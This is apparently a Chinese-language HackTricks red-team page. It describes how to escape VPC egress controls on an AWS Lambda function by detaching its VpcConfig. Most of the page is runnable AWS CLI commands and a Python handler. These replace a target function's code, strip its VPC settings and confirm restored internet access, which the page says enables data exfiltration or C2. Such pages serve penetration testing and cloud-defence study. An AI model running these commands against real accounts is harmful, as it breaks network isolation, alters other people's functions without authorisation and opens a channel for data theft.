AWS Lambda – 通过分离 VpcConfig 绕过 VPC 出站限制

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

通过更新函数配置为一个空的 VpcConfig(SubnetIds=[], SecurityGroupIds=[])将 Lambda 函数从受限 VPC 强制移出。函数随后将在 Lambda 管理的网络平面中运行,恢复出站互联网访问,从而绕过在没有 NAT 的私有 VPC 子网上实施的出站控制。

滥用方法

  • 前提:对目标函数具有 lambda:UpdateFunctionConfiguration(以及用于验证的 lambda:InvokeFunction)权限,若需要更改代码/handler 还需相应权限。
  • 假设:函数当前配置的 VpcConfig 指向没有 NAT 的私有子网(因此出站互联网被阻止)。
  • 区域:us-east-1

步骤

  1. 准备一个最小的 handler 来证明出站 HTTP 可用

cat > net.py <<‘PY’ import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen(‘https://checkip.amazonaws.com’, timeout=3).read().decode().strip() return {“egress”: True, “ip”: ip} except Exception as e: return {“egress”: False, “err”: str(e)} PY zip net.zip net.py aws lambda update-function-code –function-name $TARGET_FN –zip-file fileb://net.zip –region $REGION || true aws lambda update-function-configuration –function-name $TARGET_FN –handler net.lambda_handler –region $REGION || true

  1. 记录当前 VPC 配置(如需可稍后恢复)

aws lambda get-function-configuration –function-name $TARGET_FN –query ‘VpcConfig’ –region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json

  1. 通过设置为空列表来分离 VPC

aws lambda update-function-configuration
–function-name $TARGET_FN
–vpc-config SubnetIds=[],SecurityGroupIds=[]
–region $REGION until [ “$(aws lambda get-function-configuration –function-name $TARGET_FN –query LastUpdateStatus –output text –region $REGION)” = “Successful” ]; do sleep 2; done

  1. 调用并验证出站访问

aws lambda invoke –function-name $TARGET_FN /tmp/net-out.json –region $REGION >/dev/null cat /tmp/net-out.json

(Optional) 恢复原始 VPC 配置

if jq -e ‘.SubnetIds | length > 0’ /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r ‘.SubnetIds | join(“,”)’ /tmp/orig-vpc.json); SGS=$(jq -r ‘.SecurityGroupIds | join(“,”)’ /tmp/orig-vpc.json) aws lambda update-function-configuration –function-name $TARGET_FN –vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] –region $REGION fi

影响

  • 函数将重新获得不受限制的出站互联网访问,允许从本应隔离在无 NAT 的私有子网中的工作负载进行数据外泄或 C2 通信。

示例输出(在分离 VpcConfig 之后)

{“egress”: true, “ip”: “34.x.x.x”}

清理

  • 如创建了临时的代码/handler 修改,请将其还原。
  • 可按上文所示从 /tmp/orig-vpc.json 恢复原始 VpcConfig。

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks